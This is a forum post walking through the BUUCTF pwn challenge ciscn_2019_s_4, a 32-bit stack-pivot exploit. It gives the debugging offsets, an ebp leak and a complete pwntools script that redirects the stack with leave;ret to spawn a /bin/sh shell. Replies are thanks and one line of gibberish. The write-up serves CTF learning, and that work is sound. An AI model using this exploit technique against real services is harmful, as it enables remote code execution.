bnuzgn 发表于 2023-8-21 23:24

[栈迁移]ciscn_2019_s_4

题目来源
buuctf——ciscn_2019_s_4
参考链接
https://blog.csdn.net/mcmuyanga/article/details/112462462
题目信息
32位、ubuntu18
   
溢出点在vul函数中,溢出两次,均只能溢出两个机器字长。
   
hack函数中给出了system函数,但是参数不对。
   
可以直接使用call system。
   
解题步骤
考虑使用栈迁移,先得到ebp的值,然后动态调试得到ebp距离栈参数s的距离,本题为0x38,这样就可以将栈偏移到padding中。
关键步骤
1、得到ebp距离栈参数s的距离
在printf处打断点,0xffffd4c8-0xffffd490=0x38
   
2、接收ebp的地址值
由上图可得,ebp的地址不是以常见的0xf7为首的,因此需要自己打锚点,然后接收后四位,常用的u32(r.recvuntil(b'\xf7')[-4:])是抓不到的。payload = b'a'*0x24 + b'bbbb'
sd(payload)
ru("bbbb")
ebp_addr = u32(r.recv(4))
wp# -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='i386'
context.os = "linux"

pc = "./ciscn_s_4"

if __name__ == '__main__':
    local = sys.argv
    if local == '1':
      r= process(pc)
      elf = ELF(pc)
      libc = elf.libc
    else:
      r=remote("node4.buuoj.cn",26327)
      elf = ELF(pc)
      libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

def db():
    gdb.attach(r)
    pause()

def dbs(src):
    gdb.attach(r, src)

leave_ret = 0x080484b8
system_plt = elf.plt['system']
system_call = 0x08048559
lg('system_plt')

payload = b'a'*0x24 + b'bbbb'
sd(payload)
ru("bbbb")
ebp_addr = u32(r.recv(4))
lg('ebp_addr')
buff = ebp_addr - 0x38
payload = (p32(system_plt)+p32(system_plt)+p32(buff+12)+b'/bin/sh\x00').ljust(0x28,b'a') + p32(buff-4) + p32(leave_ret)
#使用system_call可以不用接返回地址
#payload = (p32(system_call)+p32(buff+8)+b'/bin/sh\x00').ljust(0x28,b'a') + p32(buff-4) + p32(leave_ret)
sd(payload)
ti()

13739666050 发表于 2023-8-22 00:26

kjfaksjfajsfnkjabksjnfbjkbrkjbgkjdbfmds ,manf jw4n;otinq/l knq

tp206555 发表于 2023-8-22 12:57

值得学习,感谢楼主分享,学习一下

Study0588 发表于 2023-8-22 13:01

感谢楼主分享,学习一下

tanzheng751230 发表于 2023-8-22 13:07

感谢楼主分享,

tafeita 发表于 2023-8-23 00:11

干货,学习了,谢谢楼主!

Study0588 发表于 2023-8-23 14:09

学习了,谢谢楼主!

hz042 发表于 2023-8-24 18:09

页: [1]
查看完整版本: [栈迁移]ciscn_2019_s_4